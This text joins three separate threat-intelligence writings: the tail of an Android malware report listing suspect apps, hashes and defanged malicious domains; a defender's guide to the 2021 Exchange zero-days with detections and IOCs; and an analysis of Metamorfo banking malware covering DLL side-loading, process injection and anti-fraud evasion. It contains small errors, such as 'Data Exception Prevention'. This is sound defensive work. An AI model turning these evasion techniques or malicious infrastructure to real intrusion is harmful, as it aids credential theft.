50,000 | | ph.oto.lab | Photo Lab | 10,000 | 50,000 | | com.phoneboster | AR Phone Booster – Battery Saver| 10,000 | 50,000 | | com.translator.arabic.en | English Arabic Translator direct | 10,000 | 50,000 | | com.vpn.fast.proxy.fep | VPN Zone – Fast & Easy Proxy | 10,000 | 50,000 | | com.projector.mobile.phone | 100% Projector for Mobile Phone | 10,000 | 50,000 | | com.forza.mobile.ult.ed | Forza H Mobile 4 Ultimate Edition| 10,000 | 50,000 | | com.sticky.slime.sim.asmr.nws | Amazing Sticky Slime Simulator ASMR| 10,000 | 50,000 | | com.clap.t.findz.m.phone | Clap To Find My Phone | 10,000 | 50,000 | | com.mirror.scree.n.cast.tvv | Screen Mirroring TV Cast | 10,000 | 50,000 | | com.frcallworwid | Free Calls WorldWide | 10,000 | 50,000 | | locator.plus.my | My Locator Plus | 10,000 | 50,000 | | com.isalamqciqc | iSalam Qibla Compass | 5,000 | 10,000 | | com.lang.tra.nslate.ltef | Language Translator- Easy&Fast | 5,000 | 10,000 | | com.wifi.unlock.pas.pro.x | WiFi Unlock Password Pro X | 5,000 | 10,000 | | com.chat.live.stream.pvc | Pony Video Chat-Live Stream | 5,000 | 10,000 | | com.zodiac.hand | Zodiac : Hand | 5,000 | 10,000 | | com.lud.gam.ecl | Ludo Game Classic | 5,000 | 10,000 | | com.locx.findx.locx | Loca – Find Location | 5,000 | 10,000 | | com.easy.tv.show.ets | Easy TV Show | 5,000 | 10,000 | | com.qiblaquran | Qibla correct Quran Coran Koran | 5,000 | 10,000 | | com.dat.ing.app.sw.mt | Dating App – Sweet Meet | 5,000 | 10,000 | | com.circ.leloca.fi.nder | R Circle – Location Finder | 5,000 | 10,000 | | com.taggsskconattc | TagsContact | 5,000 | 10,000 | | com.ela.salaty.musl.qibla | Ela-Salaty: Muslim Prayer Times & Qibla Direction| 1,000 | 5,000 | | com.qiblacompassrtvi | Qibla Compass | 1,000 | 5,000 | | com.soul.scanner.check.yh | Soul Scanner – Check Your | 1,000 | 5,000 | | com.chat.video.live.ciao | CIAO – Live Video Chat | 1,000 | 5,000 | | com.plant.camera.identifier.pci | Plant Camera Identifier | 1,000 | 5,000 | | com.call.colop.chan.cc | Color Call Changer | 1,000 | 5,000 | | com.squishy.pop.it | Squishy and Pop it | 1,000 | 5,000 | | com.keyboard.virt.projector.app | Keyboard: Virtual Projector App | 1,000 | 5,000 | | com.scanr.gdp.doc | Scanner Pro App: PDF Document | 1,000 | 5,000 | | com.qrrea.derpro | QR Reader Pro | 1,000 | 5,000 | | com.f.x.key.bo.ard | FX Keyboard | 1,000 | 5,000 | | photoeditor.frame.com | You Frame | 1,000 | 5,000 | | call.record.prov | Call Record Pro | 1,000 | 5,000 | | com.isl.srick.ers | Free Islamic Stickers 2021 | 1,000 | 5,000 | | com.qr.code.reader.scan | QR Code Reader – Barcode Scanner| 1,000 | 5,000 | | com.scan.n.ray | Bag X-Ray 100% Scanner | 1,000 | 5,000 | | com.phone.caller.screnn | Phone Caller Screen 2021 | 1,000 | 5,000 | | com.trnsteito.nneapp | Translate It – Online App | 1,000 | 5,000 | | com.mobthinfind | Mobile Things Finder | 1,000 | 5,000 | | com.piriufffcaer | Proof-Caller | 1,000 | 5,000 | | com.hones.earcy.laof | Phone Search by Clap | 1,000 | 5,000 | | com.secontranslapro | Second Translate PRO | 1,000 | 5,000 | | cal.ler.ids | CallerID | 1,000 | 5,000 | | com.camera.d.plan | 3D Camera To Plan | 500 | 1,000 | | com.qib.find.qib.di | Qibla Finder – Qibla Direction | 500 | 1,000 | | com.stick.maker.waps | Stickers Maker for WhatsApp | 500 | 1,000 | | com.qbbl.ldironwach | Qibla direction watch (compass)| 500 | 1,000 | | com.bo.ea.lesss.piano | Piano Bot Easy Lessons | 500 | 1,000 | | com.seond.honen.umber | CallHelp: Second Phone Number | 500 | 1,000 | **Total**: 4,287,470 - 17,345,450 **SHA-256 Hashes** - ff416417d3dd92f8451cdd9dcce5ef78922e7e2c8f4d35113fbc549eac207d4f - f0d855e9c861df0e259017b7db005cadceb5046e9325551d05490681d35799a9 - ce0ce6380207ebb5d9bb735a193be8cdec9ae60140c6dfa261f6632d18a89bf7 - b7501b603c603d314b3653cfed74c92db88d16095150fd4e446bd1c5dd46a10a - 91384eaebda21e297bf9fdb0d33e8e41e8e9548a3440c73e34b8c16c3b3904f6 - 929fecf19a3e7732123d6619e179717148d570ea6ea2f6505ad2e3da373699f8 - 6e43d1ffb0625546b8847e893c117ca28100cd1f443beba496162ef3cded8354 - 4ea94dcb7efc2697b169b4d4c683bc0c400e7df200a5e2596652d0bfe9b85f25 - 4ab829e04540b1f93a39f82ca340383e3ecdc32d7f3ab2195f147a4880bea868 - 46ad9196a639c30ec7a1abcc606c636a1dffacce4f66c1bca72fd75fa85388e4 - 45370018a532c898260ee8f002e999f02b04d87e9616be2fc067fe10890d43dd - 3d9c588cebae8b8e3623b21b875ee01d8d6bd8c5e56da84b08c2742a8448c5fc - 35d05e908ac10eb46d5ab98a98928dac8b2878d9f2f3e175383b1c81b6ddf914 - 1651935da48b2c1dc99a92a10867b43f5d043351bcbf3147d2d399642d62f9b6 - fb22a23bf22cd92dc943bec6447750b1579410274037897d3b5bb88b1284850c - d1e108c8b6271a17380f7c8fbbb5fb708e141805f6896a013f82adfa722d1039 - 0f3a60b69118e3df202519d6055ed6770247eefecee0ce9f90d7bfbd5e6753b3 - 44d1c98b1c5e9bab26cbce81e2410ffe7e34c1bd7743e5bdcc39aabc42c0d555 - cf592e98adcdaf420dc7d3a9c9a3761361ce25da9fc753764fd6fc97a075e2e6 - ab96a84570864d93197b4fee6bfabbda71f03a14e9f68ad43dcd91ea7e8580d7 - 8ce77122538b8229763f16ecde830b4c1ad0a2eca45cfbbe201c6d74e0e0e22d - 96476dde2a88bccc7c18cc03330a40c96be83cfeab579ab22a2b16920490093c - a7d9bb0abaed3c64de19397bc43634c7de66fde2e93f7a7efb7e7436b8ac5281 - 8f3f1d76e936ee0fa7ff376047ffc93af52e0525146613cada73073b0f5912cd - 14f0f17d141c2046a08791832f77bf5094351d5b423aeaaaa2c60c69d376066b - 1ed3432b12674ae08b7498cb2f4563a943be0465b43eea8ff43598c40606986d - 69436017be7a84ffe6d33f0af5d1f30b808d33963e86cbdb2a1a4d5f547c914f - 4b3fa41cc5fb57d81b3cf45e12b6d1919eca94aca71c5802bd5fac129d6e3b6e - e7032d405ae2c0ad0e5305aa622221972ea823b3103d1cd716bed23c6c5f0dd4 - ebd44c1e2f5ada0856b697e55b2cc3b97b06989fd3f1a1027c1529d8886d9407 - 9aa47fb545f47b2f7fd04e6e3f8538dc3ba080600ccaf5ac365f6c654f04fda1 - da18353654d5bd203121e45c9b646f8627c9cd13bdd0b89efbd6bd474c43a071 - bb379d290d4302d7c99a346ec2977eafded408fcfbbd94efc0d6cd6a97e8fb9d - 21e38ed61c47b4bc111628abb062935d7ceb098b3e4d9b0700cbfd2eb6df14ee - 3eab6afb8ead7bf397d8c719c4bced70d25412cedc4b3a54c8429ad55fff8a0 - 7eaa1f41da36ff981ee7e2e6fd3a5cff0b5637643dc06d2175cf39eec6fe9dda - 474f7a8c16e05c232c14e884e3ac0fc398b9846a31374b797973b67b00e1cba9 - 5614c7be63665b035ba6cc4b9c63f931438087d74781a988e905f4b6352f02d6 - ee2465ab469a37df006c5a3762ba47314fe80fa440cee17780d01dc081a14d54 - b55f869ad0d5716cd56f74c0562cdaa105558bd5dcf91ed7c277b527e7cfa62c - 03332e8c57a4ac52ed0022511a9a1a30e7d882ff61fe9a58c7ff7335e060d5cf - 8ab58860af76c868b649fe47a8bb62ca369da7996c05763c45270a88a156b402 - 2acace4074b9841c2d425c190a26046c2c1524b30d68d49bf3e3461ebbd1d14d - 5929b3ab6f2704d39d830b11b29b7cdbcbc8f7f8c4d7151fe5e925ed9170d6d4 - 6ff10891cb70735e647ea87cfe709ca07300f9a5bd7169a0873225467376b590 - 1d7e191f53f79f3b689a12f7ede899f86f6c8d558ad30bd6f03e3deb50005509 - 6adb58b56f55d33b1a119f8bf0ba7dda5cb278d5baafab82152ca973800f0fea - f2fcdfc33bb8d64f27f977d3bb1d3dc0f5b7116ae48f863bb6fc661cf52245eb - eed2690fee3fd58402ed6761820771cf7a533388dac540416eab133f8654b30e - 1d1cfd8a2ebe1ab9de814f940ad46c45e41663071d9c410a4253edf707de4019 - 08ec72048236a428bf7689b4f75cb4b712025b8fa0e1d17fa95638666e8d4834 - 77d3b72999a6116e479ff080285aea88d8a5b4d1d8d9b76049940e48de3bf5d5 - 6db319ce8b9d302c6636e04d2dfebf0e06191cdd3d35e1c31c0b01407dd8c8fd - 0ca050d64480300f423017ec6e4c9c66c9eb7582f610f9cd05c3853da92eb095 - 5a0964dd0747d199bf1db9d412351e72c6f3dde9e2026b6108eabb4b0ce0cf5e - 9cae4295c29048834bf98d516ea7a1d97b283eeff84b22bb2c25f9e96ad8284c - 6ddd1bff3205cb7c0843ed6d9b560728ede04ce32ca5904c1626a7da9873262b - e834465baa9eb897541b95fe0099d3aec071fe185e99376e23f61a9ee7e48bfe - 182367b782dd32f64e36efdfaa5e9dcdf4fc7247431ba012179f22a20cc60866 - 6c4a226c78027fa5b157a4be3a5aca84038bf9477ede98b7e358b826b60c1fc7 - a8fdd46918b5a04a56e858d95bb9a889c427d29496892204a226d25e3e47d538 - 3b8190a4b7ba8e8c1793297cd2710f32b1768de8207231405c0cf081b1071f9d - 8ae234729626e616a44bb9a64b24c1b792a58cebf502671fd1a8313c3ad5c440 - 7c2cce644a17faf30a7a1748e162bcb45e89e4be5d45807f538e146d3f161aa2 - 0e38628fe2b91659314ec6e00e4fbdcc7f76f1e45921456eda78cab87b8cd718 - 98b77f6aa77a6853e0faa6652c9a705fdd22d9cd0518cf5eca03d3c107f94868 - 51b489b6a89c1d758efa02279859bbe67c112342b9ae98ac9bc04b2f7dc0d2ec - 37b535cb5db504335f76aaccd84e0ee877f1143ed9b1389c058928a52a6fa16c - 3c1fbb9fef73aaefacad4071041a200be6604c72445f040baae875ff8f00eb6f - f7621c9e5bf55f92362e3b5979caa82dcb3313921c7ed73d3686f5f888673f2a - 64aeb474694d98a892f08307e98878453985b9564a5bc303607e56b6fcc15044 - f26fcedd4b8c192cfbd88d1d10ed5fc0e16a9e4d65be64b2647c564626fd0aaf - efb490c02d3cc342a29ce25540d5c051f38e0d1859bb06ff33e8b0145da66a6b - dec06930b8142612254832169572056b3e79321ea6a367cbf8e0602bc8f31afb - d5bf3f22c07a39d77098f719c8a145c7cf473404c2324ca6c76c1e87f050605c - ca1b3d4ec274b3528ffad5ecb0d3dd6871ca9a64c0ac35bf7528db36b2e5ebf8 - c9905ab199440a9dec557c5970462d2f146c1146f723914cada099549e4819ea - b6f9c4bdbbe157245b069a54f1d9337f03f71f1e893309f10e6bdcfd2c7c0311 - a9179292500189c95e91743593e06ec5737958b09ffecbf76fbd65724090ecda - 7a050f2c2c43b6c5443092c79f9431e50f610824043be5489a3e95084fad6e4 - 756b247e59d8ccdaa13f01cf9d9c7587488ce2af912aadd31339e43642ead3e4 - 6937abe088ed1f8d98664025f5ecf556a3e04c73395f80742cd1505eff1f84ed - 582df77b3cebb7e6be00335a3116e266cc48426f2657bc13e6b8e6ff96a7b209 - 4f4e7c77ab8a9665abbb47a211e7836a590d09ec5151634acdedcbe56076943c - 4e43d2a3a8274b9be8e1b7d499dd4b902ddf22bb838ed2040133419026d09bfa - 37e84f4fc9efec79ca30c8ef55c0c6a1ea29ab23c54d8e68ec16787346841c01 - 2f28d1a5b84c0262aec6c631e58b1015b40dea878e33214bdacc5568e3a3ec82 - 2a79dc27e1c2126a1d985f49eb742ed73bd5ed0c0d78bb79c9da867e60c15ba0 - 273eb89b2ca8bb6f3a1b73a1660a0b67dc9875db43fae4599ce593bb22e3de75 - 2177fe1fbfbd8ddca47cde0620d974f5b31c0a4ff206968732d2b62f67367a1f - b85f688e517aa59863347d277f5b05c43b40050a93c16595f275edd2fe15ff16 - 7407ca45c85619d0dc6a2ce7c7440bb8717e90ed7e0661ef254190dc6f7bcfe0 - a794623cffa950294d21e29eeb03c31b2ffe507a0edb0bfa7fc16491e89bd462 **First-Stage Domains** - hxxps://hotofecro.com/ - hxxps://alaiblompass.com/ - hxxps://heartratteandpulsetracker.com/ - hxxps://icoonectedtrack.com - hxxps://ospocatracker.com - hxxps://laalaslirayeblection.com - hxxps://iblompass.com/ - hxxps://smalllcalllrecorder.com - hxxps://anguaganslatast.com/ - hxxps://oroscopemestry.com/ - hxxps://blompascator.com/ - hxxps://leunoon.com/ - hxxps://arindocation.com/ - hxxps://rooitor.com/ - hxxps://mychattranslator.club/ - hxxps://rulapptoplan.com/ - hxxps://rportranslator.com/ - hxxps://muslimasauda.com/ - hxxps://martpolocator.com/ - hxxps://wfupppx.com/ - hxxps://scandocnotes.com/ - hxxps://freecoupon21.com/ - hxxps://ponyvideochat.com/ - hxxps://ludamec.com/ - hxxps://chat-transa.com/ - hxxps://soulscanneryh.com/ - hxxps://d3cameraplan.com/ - hxxps://qibla-ultima.com/ - hxxps://zoofanimalm.com/ - hxxps://ciaolvc.com/ - hxxps://heartrateproxhealthmonitor.com/ - hxxps://bus-metrolis.com/ - hxxps://truck-rouddrive.com/ - hxxps://locatinfind.com/ - hxxps://camerdentifier.com/ - hxxps://locatorqiafindlocation.com/ - hxxps://cocachar.com/ - hxxps://squishyp.com/ - hxxps://antranslaro.com/ - hxxps://ftphotom.com/ - hxxps://lockul.com/ - hxxps://fingerprihanger.com/ - hxxps://locatorshar.com/ - hxxps://kfcwsa.com/ - hxxps://gpsphonuetrackerfamilylocator.com/ - hxxps://cailrecorder.com/ - hxxps://tqiblacompas.com/ - hxxps://kvprojectop.com/ - hxxps://pikchoeditor.com/ - hxxps://streetprocarsracingss.com/ - hxxps://nemaeovies.com/ - hxxps://aecodero.com/ - hxxps://ivlewepapallrbkragonucd.com/ - hxxps://heartrateandmealtracker.com/ - hxxps://phonecontrolblockspamcalls.com/ - hxxps://etcotater.com/ - hxxps://canopoument.com/ - hxxps://locxfindxlocx.com/ - hxxps://mnesytrlatr.com/ - hxxps://huntcontactz.com/ - hxxps://intelgenttran.com/ - hxxps://facenalyer.com/ - hxxps://fnbdeiegpslocoiatntcrkaer.com/ - hxxps://trcalluecodr.com/ - hxxps://qrreaderpro.com/ - hxxps://itranstxtvoicepht.com/ - hxxps://qiberiblaon.com/ - hxxps://iconylc.com/ - hxxps://lsepeanitor.com/ - hxxps://fxkwboard.com/ - hxxps://dehcoveanager.com/ - hxxps://tickeakhatsp.com/ - hxxps://phoneboster.com - hxxps://phonfinbyclap.com/ - hxxps://aralaper.com/ - hxxps://qibdirctiowa.com/ - hxxps://islsrickers.com/ - hxxps://feartranslator.com/ - hxxps://vpnzfep.com/ - hxxps://snaplens-pt.com/ - hxxps://qiblassirection.com/ - hxxps://easyvshow.com/ - hxxps://qibla-quran.com/ - hxxps://qrcodesscan.com/ - hxxps://hoolives.com/ - hxxps://burivingsim.com/ - hxxps://coupongiftsnstashop.com/ - hxxps://fingdefend.com/ - hxxps://projectormp.com/ - hxxps://forzahmobile.com/ - hxxps://artateulseonitor.com/ - hxxps://sslasmr.com/ - hxxps://bagscaner.com/ - hxxps://phonecallerscreen.com/ - hxxps://datingappswmt.com/ - hxxps://lifeel-scan.com/ - hxxps://colorizerset.club/ - hxxps://expresscreditcash.com/ - hxxps://ccallerx.com/ - hxxps://transatitonneap.com/ - hxxps://lasouncherio.com/ - hxxps://claptfindzmphone.com/ - hxxps://mirrorscreencasttvv.com/ - hxxps://ircleocatinder.com/ - hxxps://mobleingsder.com/ - hxxps://proocallerr.com/ - hxxps://frecalwolwid.com/ - hxxps://allelpcoonmber.com/ - hxxps://faspulhearratmoni.com/ - hxxps://fincconttact.com/ - hxxps://uncherdroid.com/ - hxxps://iveilembercker.com/ - hxxps://lepamcker.com/ - hxxps://lockaaocker.com/ - hxxps://onarchbylap.com/ - hxxps://secontranslatpr.com/ - hxxps://tgscontakcs.com/ - hxxps://lockaaocker.com/ - hxxps://callwhozdine.com/ - hxxps://perargero.com/ - hxxps://mylocatorplus.club/ - hxxps://comclap.club/ - hxxps://callerids.club/ - hxxps://instantspeechtranslation.club/ - hxxps://photoeditorbest.club/ - hxxps://piction.club/ - hxxps://driveriders.club/ - hxxps://skycoachgg.club/ - hxxps://ffitnesstrainer.club/ - hxxps://racerscardriver.club/ - hxxps://fitnessdias.club/ - hxxps://meetingonlinechat.club/ - hxxps://fitnessgymup.club/ - hxxps://editsbackground.club/ - hxxps://cutcutpro.club/ - hxxps://drivingexpiriencesimulator.club/ - hxxps://clipbuddy.club/ - hxxps://horoscopefortune.club/ - hxxps://ludospeakeasy.club/ - hxxps://fitnesspoint.club/ - hxxps://wallvoluminousfourk.club/ - hxxps://cvectorart.club/ - hxxps://ludospeakv2.club/ - hxxps://callrecordpro.club/ - hxxps://carracer.club/ - hxxps://slimesimulator.club/ - hxxps://offroaderssurvive.club/ - hxxps://lending-online.club/ - hxxps://controlcenterios.club/ - hxxps://callerids.club/ - hxxps://carracer.club/ - hxxps://streetracingg.club/ - hxxps://checkheart.club/ - hxxps://keyboardthemes.club/ - hxxps://whatsmesticker.club/ **Second-Stage Domain** - hxxps://678ikmbtui.com/ **Third-Stage Domains** - hxxps://safe-link.mobi - hxxps://at.gogameportal.club - hxxps://activate-your-account-now.com - hxxps://continue-to-get-content-now.com - hxxps://your-access-here.com - hxxps://app.buenosocial.club - hxxps://join.crazymob.co - hxxps://vl.denrok.space - hxxp://www.timpromos.com.br - hxxps://campaignmanager.fun.moobig.com - hxxps://get-your-access-now.com - hxxp://v.mobzones.com - hxxp://mt2-sdp4.mt-2.co:8010 - hxxps://go.whatabookmark.com - hxxps://lp.shoopadoo.com - hxxps://es.mobiplus.me - hxxps://af.to.123games.club - hxxps://be.startdownload.mobi - hxxps://za.startdownload.mobi - hxxp://n.appspool.net - hxxps://wap.trend-tech.net - hxxps://fr.chillaxgames.mobi **ABOUT ZIMPERIUM** Zimperium provides the only mobile security platform purpose-built for enterprise environments. With machine learning-based protection and a single platform that secures everything from applications to endpoints, Zimperium is the only solution to provide on-device mobile threat defense to protect growing and evolving mobile environments. For more information or to schedule a demo, contact us today.
# Microsoft Exchange Zero Days – Mitigations and Detections This post will explain what the Microsoft Zero Days are, and then provide all mitigation and detection advice which I am aware of so far. It will be updated every day, if and when new information is available. ## What are the Exchange Zero Days? In case you have been hiding under a rock this past week, here is a breakdown of what they are. You may also hear people referring to the Exchange Zero Days as: - **HAFNIUM** (Original threat group who exploited the zero days, named by Microsoft) - **Operation Exchange Marauder** (Name given to the initial attack by Volexity, the company who first identified the zero days) From the original Microsoft post: - **CVE-2021-26855** is a server-side request forgery (SSRF) vulnerability in Exchange which allowed the attacker to send arbitrary HTTP requests and authenticate as the Exchange server. - **CVE-2021-26857** is an insecure deserialization vulnerability in the Unified Messaging service. Exploiting this vulnerability gave HAFNIUM the ability to run code as SYSTEM on the Exchange server. - **CVE-2021-26858** is a post-authentication arbitrary file write vulnerability in Exchange. If HAFNIUM could authenticate with the Exchange server, they could use this vulnerability to write a file to any path on the server. - **CVE-2021-27065** is another post-authentication arbitrary file write vulnerability in Exchange. It is important to note that these vulnerabilities exist on Microsoft Exchange Server and do not affect Microsoft Exchange Online users. ## Post Exploitation Activities After exploiting the above vulnerabilities, there have been a number of post exploitation actions seen: - Using Procdump to dump the LSASS process memory - Using 7-Zip to compress stolen data into ZIP files for exfiltration - Adding and using Exchange PowerShell snap-ins to export mailbox data - Using the Nishang Invoke-PowerShellTcpOneLine reverse shell - Downloading PowerCat from GitHub, then using it to open a connection to a remote server - Downloaded the Exchange offline address book from compromised systems. ## DoejoCrypt aka DearCry Ransomware On the 9th of March, ransomware named DoejoCrypt aka DearCry has started to target Exchange Servers via the exploits mentioned in this blog. There are a number of well-written, informative articles on the ransomware targeting Exchange Servers so far: - BleepingComputer article - TheRecord article - Twitter thread from Sophos explaining DearCry DoejoCrypt / DearCry samples are available at Malware Bazaar. ## Mitigations and Detections The below list is all the knowledge I have so far gathered for mitigations and detections against CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065. This also includes some detections for known post exploitation tactics. ### Microsoft Vulnerability Mitigations - How to install the security update (This does not evict an attacker if they have already compromised the system). - If you see unexpected behaviors or your upgrade fails, please go to the Microsoft troubleshooting link. - If you are unsure of the patch levels of your Exchange Servers, use the script from Microsoft. ### CheckMyOWA – Victim Notification Site CheckMyOWA is a site from Unit221b. It allows checking via email or IP, but only discloses to people with a provable association with the victim. ### Volexity Within the Volexity post, they have a large list of indicators that it is recommended you search for. ### Mandiant Managed Defense Mandiant advises checking the following: - Child processes of `C:\Windows\System32\inetsrv\w3wp.exe` on Exchange Servers, particularly `cmd.exe`. - Files written to the system by `w3wp.exe` or `UMWorkerProcess.exe`. - ASPX files owned by the SYSTEM user. - New, unexpected compiled ASPX files in the Temporary ASP.NET Files directory. ### Red Canary Red Canary Intel has released a post which contains: - The different clusters of threat activity they are seeing. - The detection analytics they used to detect them. - Simple remediation steps you can take to start to remove this activity from your environment. ### Cisco Talos Advisory Cisco Talos has released a number of Snort rules which can detect/block the behavior as follows: - CVE-2021-26857 — 57233-57234 - CVE-2021-26855 — 57241-57244 - CVE-2021-26858 & CVE-2021-27065 — 57245-57246 ### CISA Advisory CISA recommends: - Block external access to on-premise Exchange. - Disconnect vulnerable Exchange servers from the internet until a patch can be applied. ### IOC List There are numerous IOCs contained within the Microsoft and Volexity reports. Here are some extras that I have come across: - Active CVE-2021-21972 payload: `http://www.lingx[.]club/javac` - Exploit attempt source IP: `104.197.133(.)59` - Exchange proxylogon and file write exploit attempt coming from: `45.114.130[.]89` If you find any broken links, think I am missing any important information, or have made a mistake, please DM me at [Twitter](https://twitter.com/blueteamblog). If I find more mitigations/detections, sections will be clearly updated with timestamps.
# The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable **Chen Erlich** April 9, 2020 ## SUMMARY In May 2019, enSilo’s Threat Intelligence team observed activity by a cybercrime group spreading Metamorfo — a Brazilian banking trojan. The variants discovered abuse an executable digitally signed by Avast, one of the most popular AV products in the world for consumers. This activity was connected to a campaign reported by TrendMicro, which targeted an executable by a different Anti-Virus vendor, Avira. This further highlights the modus operandi of the group. This blog post describes in detail one of the variants used in this campaign and highlights unique Tactics, Techniques, and Procedures (TTPs) used in this campaign which were not previously disclosed. ## TECHNICAL ANALYSIS In May 2019, enSilo detected new activity by a Brazilian cybercrime group. Both loader variants and their respective payloads analyzed share similar TTPs and code associated with this group. ### Execution Flow Overview On execution, the MSI downloader starts by checking if it is running in a virtual machine. If not, it downloads a zip file, unzips it, deletes itself, establishes persistency, and restarts the system. The zip file contains the following files: 1. **jesus.exe** — Signed AVDump32 — Avast’s memory dump utility, renamed to a random name. 2. **dbghelp.dll** — Malicious file to be side-loaded by AJWrDz.exe. 3. **jesus.dmp** — Payload to be loaded by the injected Windows Media Player executable (wmplayer.exe), later renamed to the same random name as jesus.exe with a .dmp extension. 4. **ssleay64.dll** — Known variant of Metamorfo, loaded and used in the injected wmplayer.exe. 5. **ssleay32.dll** — OpenSSL Shared Library. 6. **borlndmm.dll** — Borland Memory Manager. 7. **libeay32.dll** — OpenSSL Shared Library. During the rest of the analysis, we will refer to jesus.exe as “AJWrDz.exe,” which is the random name generated in this execution. After the system reboots, the file “AJWrDz.exe” executes, triggering the side-loading of the malicious (and fake) DLL file “dbghelp.dll.” This malicious DLL file injects itself into the Windows Media Player process — wmplayer.exe, and reflectively loads the renamed jesus.dmp file, “AJWrDz.dmp.” ### MSI DOWNLOADER The following are the static characteristics of the Windows Installer (MSI) downloader which starts the infection: - **File Name:** HNR-Not03958576535323.msi - **SHA1:** F1498E679885389C32FDF5EC39813FE5D4D34F23 - **Size:** 287232 bytes - **Creation Time:** 2009–12–11 11:47:44 During the analysis, this variant had a very low detection rate in VirusTotal. All MSI files in this campaign have different names but share unique characteristics: 1. Disguised as “ ” to look legitimate. 2. Created using the “Advanced Installer” tool. 3. Contain a vmdetect.exe [MD5: 55FFEE241709AE96CF64CB0B9A96F0D7] to avoid detection. 4. Use the CustomAction table to integrate custom code and data into an installation. ### The JavaScript Payload The downloader’s JavaScript payload is obfuscated. After deobfuscation, the samples in this campaign communicate with a URL in the following format: The “{random}” part may change between different MSI downloaders. The image2.png file is actually a zip file downloaded and extracted to a target folder, specifically to %APPDATA%\Macromedia. The MSI downloader creates a desktop.txt file containing the string “NULL.” The purpose of the desktop.txt file is to indicate whether the system is infected by the malware. If it exists, the MSI will exit after opening Adobe’s website to explain how to install updates. Otherwise, it will open a legal terms of use page in Adobe’s site and continue the payload execution. ### THE AVAST ABUSE After the system restart, the “AJWrDz.exe” file executes. Its static characteristics are: - **File Name:** AJWrDz.exe (renamed from jesus.exe) - **SHA1:** 2A1A5D7C85560924EDC434A1D2F23ED3445D86F4 - **Size:** 814296 bytes - **Creation Time:** 2018–10–08 13:07:15 This is a legitimate file, AVDump32.exe, digitally signed by “AVAST Software.” AvDump32.exe's legitimate use is to create *.dmp files of Avast processes in case there is an unhandled exception. When Avast is installed legitimately on a system, the file is located in its original location: C:\Program Files\AVAST Software\Avast. AvDump32.exe is abused by Metamorfo to side-load the “dbghelp.dll” by leveraging the DLL search order, a common issue that makes it possible to leverage the DLL side-loading attack, often referred to as DLL Hijacking. The side-loaded “dbghelp.dll” is a malicious file written in Delphi and compiled using the Embarcadero Delphi IDE. After being side-loaded by AvDump32.exe, the DLL’s execution starts with the following steps: 1. Resolves WINAPI functions. 2. Hides its GUI using WINAPI call. 3. Compares if the DLL is being run by wmplayer. Next, the DLL file creates a mutex and writes to HKCU\Software\index the name of the running process, which is later used to know the name of the .dmp file that should be loaded. Finally, it injects itself into the Windows Media Player executable — wmplayer.exe. The process wmplayer.exe is a rather strange victim for injection, given that various Windows distributions don’t come with Windows Media Player installed by default. It can be implied that this software is probably more common in the victim’s origin, targeting home users. Metamorfo uses a DLL injection technique with a twist. Instead of getting a handle to the victim process using OpenProcess, which relies on having a running process, the injection uses CreateProcess with CREATE_SUSPENDED flag. Then it creates a remote thread that loads the malicious DLL and executes it. The process’ main thread is never resumed, and thus only the malware code executes. ### INJECTED PAYLOAD Upon injection, the DLL validates that it runs under the wmplayer.exe process by checking the process name and goes on to execute its malicious activity. It creates a second mutex, resolves more WINAPI functions, checks for the registry “index” key, the execution location, and for the “ADWrDz.dmp” file. If this file exists, it extracts it in-memory using RtlDecompressFragment and reflectively loads it. ### No DEP dbghelp.dll is incompatible with DEP (Data Exception Prevention). Thus, when it loads, the operating system will disable DEP for the injected wmplayer.exe process. This means that code can be executed from memory regions that are not marked as executable in the context of this process. Metamorfo uses this to execute the reflectively loaded payload from a non-executable region, making it harder to detect by memory forensics toolkits and security products. ### Leveraging CreateTimerQueueTimer Once “ADWrDz.dmp” is loaded into memory, Metamorfo leverages the CreateTimerQueueTimer WINAPI call to execute it. CreateTimerQueueTimer creates a queue for timers, allowing the selection of a callback function at a specified time. The original function of the API is to be part of the process chain by creating a timer routine, but here, the callback function of the API is the entry point of the malware’s actual payload. The use of CreateTimerQueueTimer makes detection harder since the payload will not run in the remote thread context. Throughout the “ADWrDz.dmp” execution, it outputs debug comments in Portuguese. Entering the CreateTimerQueueTimer callback, Metamorfo creates another mutex and starts checking for the existence of directories and files relevant for its execution. Since there are multiple variations of Metamorfo in this campaign, the attackers used different locations in the file system to drop their files. Next, Metamorfo checks for the existence of “mreb.xml” and “mreboot.” If they aren’t found, it creates another mutex. Then, it checks internet connection by trying to resolve “goole.com” (misspelled) address. If internet connection is available, it sends a GET request to retrieve geo data. Metamorfo’s C&C communication is encrypted using the dropped OpenSSL libraries. Based on the gathered data, if the victim is not from Brazil or Portugal, it will print a specific output and send the collected data to its C&C, which resided in Brazil, and finish. If the victim is from Brazil or Portugal, it will start monitoring running applications in the system using a message loop. ### The ssleay64.dll Payload If the malware identifies a file named “mreb.xml” or a folder named “mreboot,” it loads a malicious “ssleay64.dll,” also written in Delphi, compiled by Borland Delphi. The DLL holds various resources, some of which are encrypted and will be used as payloads to steal victim’s data, while others are cursor-related resources. Like samples from previous campaigns, Metamorfo can display fake forms on targeted banking sites and steal credentials from the victims. In this campaign, Metamorfo uses a fake “Blue Screen” window after disabling the taskbar. ### Evading Banking Protection & Anti-Fraud Products Metamorfo also makes efforts to evade banking protection and anti-fraud products by setting a hook on LoadLibraryW function and checking which DLL is loaded. With the help of this trampoline, for every LoadLibraryW call, the attackers will check if the DLL to be loaded contains specific anti-fraud and banking protection strings. If one of them is matched, the DLL LoadLibraryW call will not load. ## IOCs **Hashes:** - MSI — F1498E679885389C32FDF5EC39813FE5D4D34F23 - AvDump32.exe — 2A1A5D7C85560924EDC434A1D2F23ED3445D86F4 - dbghelp.dll — 08823578841AEED044EAD81ED6DB16DD95B6FF4B - ssleay64.dll - F5E63580710E8FA884377A746FC822E5 **URLs:** - www.goole.com - https://www.localizaip.com.br/api/iplocation.php **Files:** - %APPDATA%\Macromedia - %APPDATA%\Macromedia\desktop.txt - %APPDATA%\TeamViewer - %APPDATA%\TeamViewer\desktop.txt - %APPDATA%\DMCache - %APPDATA%\DMCache\desktop.txt - %APPDATA%\AnyDesk - %APPDATA%\AnyDesk\desktop.txt **Registry:** - HKCU\Software\index **Mutexes:** - [7F4HRE-375E-AEF3-BE9A-OBJT389F53] - libea54 - One-InstanceJes Thanks for reading. Follow me on Twitter for more posts like this one. **Chen Erlich** Twitter: @chen_erlich
